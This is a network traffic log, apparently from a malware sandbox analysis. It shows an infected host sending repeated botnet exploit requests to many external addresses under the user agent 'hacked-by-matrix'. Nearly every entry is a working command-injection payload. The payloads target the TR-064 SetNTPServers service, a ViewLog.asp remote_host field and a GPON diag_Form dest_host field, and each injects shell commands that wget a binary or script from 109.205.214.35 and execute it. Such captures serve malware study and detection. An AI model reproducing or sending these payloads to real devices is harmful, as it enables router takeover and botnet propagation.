Mar 21, 2024 05:17:41.873280048 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.23	59492	108.183.203.149	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.919903994 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:42.619330883 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:43.419138908 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
663	192.168.2.23	46796	45.47.57.210	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:41.919924974 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
664	192.168.2.23	53636	81.145.248.161	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.020915985 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:43.003261089 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
665	192.168.2.23	41752	188.50.177.134	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.021028996 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:42.761142969 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:43.486852884 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:44.922967911 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:47.770540953 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:53.658874035 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:05.176111937 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:28.980875015 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
666	192.168.2.23	58456	206.55.64.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.024509907 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:43.003264904 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:43.191739082 CET	1221	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:17:43 GMT Server: Apache Last-Modified: Tue, 03 Apr 2001 11:12:06 GMT ETag: "84428-1629-3810802278d80" Accept-Ranges: bytes Content-Length: 5673 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 0a 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 73 6f 6c 2e 6e 65 74 20 4e 65 74 77 6f 72 6b 20 53 65 72 76 69 63 65 73 20 7c 20 45 72 72 6f 72 20 34 30 34 20 2d 20 44 6f 63 75 6d 65 6e 74 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 2f 77 65 62 6b 69 74 2f 73 6f 6c 6e 65 74 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 69 63 6f 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6d 61 73 74 65 72 40 6e 73 2e 73 6f 6c 2e 6e 65 74 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 70 6c 79 2d 74 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6d 61 73 74 65 72 40 6e 73 2e 73 6f 6c 2e 6e 65 74 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 66 6f 6c 6c 6f 77 2c 61 72 63 68 69 76 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 75 73 65 6e 65 74 2c 20 64 73 72 73 2c 20 71 75 61 6b 65 2c 20 65 6e 67 69 6e 65 65 72 69 6e 67 2c 20 73 65 63 75 72 69 74 79 2c 20 70 72 6f 67 72 61 6d 6d 69 6e 67 2c 20 73 65 72 76 65 72 73 2c 20 66 69 72 65 77 61 6c 6c 73 2c 20 66 72 65 65 62 73 64 2c 20 6c 69 6e 75 78 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 73 6f 6c 2e 6e 65 74 20 4e 65 74 77 6f 72 6b 20 53 65 72 76 69 63 65 73 20 2d 20 4d 69 6c 77 61 75 6b 65 65 2c 20 57 49 2e 20 20 55 4e 49 58 2c 20 46 72 65 65 42 53 44 2c 20 61 6e 64 20 4c 69 6e 75 78 20 62 61 73 65 64 20 49 6e 74 65 72 6e 65 74 20 74 65 63 68 6e 6f 6c 6f 67 79 20 61 6e 64 20 68 6f 73 74 69 6e 67 20 73 6f 6c 75 74 69 6f 6e 73 2c 20 61 6c 6f 6e 67 20 77 69 74 68 20 65 6e 67 69 6e 65 65 72 69 6e 67 2c 20 64 65 73 69 67 6e 2c 20 61 6e 64 20 70 72 6f 67 72 61 6d 6d 69 6e 67 20 73 65 72 76 69 63 65 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><title>sol.net Network Services \| Error 404 - Document Not Found</title><link rel="stylesheet" type="text/css" href="/webkit/solnet.css"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><link rel="icon" href="/favicon.ico" type="image/ico"><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><meta name="author" content="webmaster@ns.sol.net"><meta name="reply-to" content="webmaster@ns.sol.net"><meta name="robots" content="index,follow,archive"><meta name="keywords" content="usenet, dsrs, quake, engineering, security, programming, servers, firewalls, freebsd, linux"><meta name="description" content="sol.net Network Services - Milwaukee, WI. UNIX, FreeBSD, and Linux based Internet technology and hosting solutions, along with engineering, design, and programming service

Session ID	Source IP	Source Port	Destination IP	Destination Port
667	192.168.2.23	55590	109.229.182.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.148571968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
668	192.168.2.23	41732	79.91.187.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.148582935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
669	192.168.2.23	60290	212.184.232.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.148612976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
670	192.168.2.23	43330	109.107.114.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.148655891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
671	192.168.2.23	58058	5.144.17.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:42.148682117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
672	192.168.2.23	35732	5.164.5.220	443

Timestamp	Bytes transferred	Direction	Data
